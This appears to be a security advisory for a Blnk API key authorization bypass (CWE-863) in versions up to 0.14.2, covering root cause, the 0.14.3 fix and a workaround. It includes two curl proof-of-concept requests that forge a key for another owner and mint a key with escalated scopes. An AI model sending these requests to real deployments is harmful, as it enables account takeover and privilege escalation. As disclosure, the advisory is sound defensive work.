Blnk API Key Authorization Bypass in Owner and Scope Enforcement
A non-master Blnk API key could create keys for other owners or escalate its own permissions by injecting a different owner ID or broader scopes directly into the request body, bypassing all authoriza
The problem
All key-management endpoints in Blnk versions up to and including 0.14.2 trusted caller-supplied values in the request body for both the owner and the scopes of a new key.
A non-master API key with access to those endpoints could craft a request that named a different owner to create, list, or revoke keys it should not control. The same key could also request scopes wider than its own, effectively granting itself elevated permissions through a child key.
Proof of concept
# Attacker holds a low-privilege non-master key with scope ["transactions:read"]
# Attack 1: create a key under a different owner
curl -X POST http://target:5001/api-keys \
-H 'X-blnk-key: non-master-api-key-here' \
-H 'Content-Type: application/json' \
-d '{
"name": "hijacked-key",
"owner": "victim-owner-id",
"scopes": ["transactions:read"],
"expires_at": "2099-01-01T00:00:00Z"
}'
# Attack 2: privilege escalation — request scopes broader than the caller's own
curl -X POST http://target:5001/api-keys \
-H 'X-blnk-key: non-master-api-key-here' \
-H 'Content-Type: application/json' \
-d '{
"name": "escalated-key",
"owner": "attacker-owner-id",
"scopes": ["ledgers:read", "balances:write", "transactions:write", "api-keys:write"],
"expires_at": "2099-01-01T00:00:00Z"
}'The root cause is CWE-863 (Incorrect Authorization): the server used the `owner` and `scopes` fields from the request body as the authoritative source for access decisions, rather than deriving them from the authenticated key itself.
For attack 1, the server performed no check that the authenticated key's owner matched the `owner` field in the body, so any key could target any owner. For attack 2, the server never verified that the requested scopes were a subset of the caller's own scopes, so any key could mint a more powerful child key.
The patch in 0.14.3 fixes both: the effective owner is now read from the authenticated key's metadata (not the request body), and a scope-coverage check rejects any requested scope not already held by the caller.
The fix
Upgrade to blnkfinance/blnk v0.14.3 or later. As a temporary workaround, restrict access to the API key management endpoints (create, list, revoke) to trusted master keys only, and block non-master key access at the network or middleware layer until the upgrade is deployed.
Reported by Shivam8584.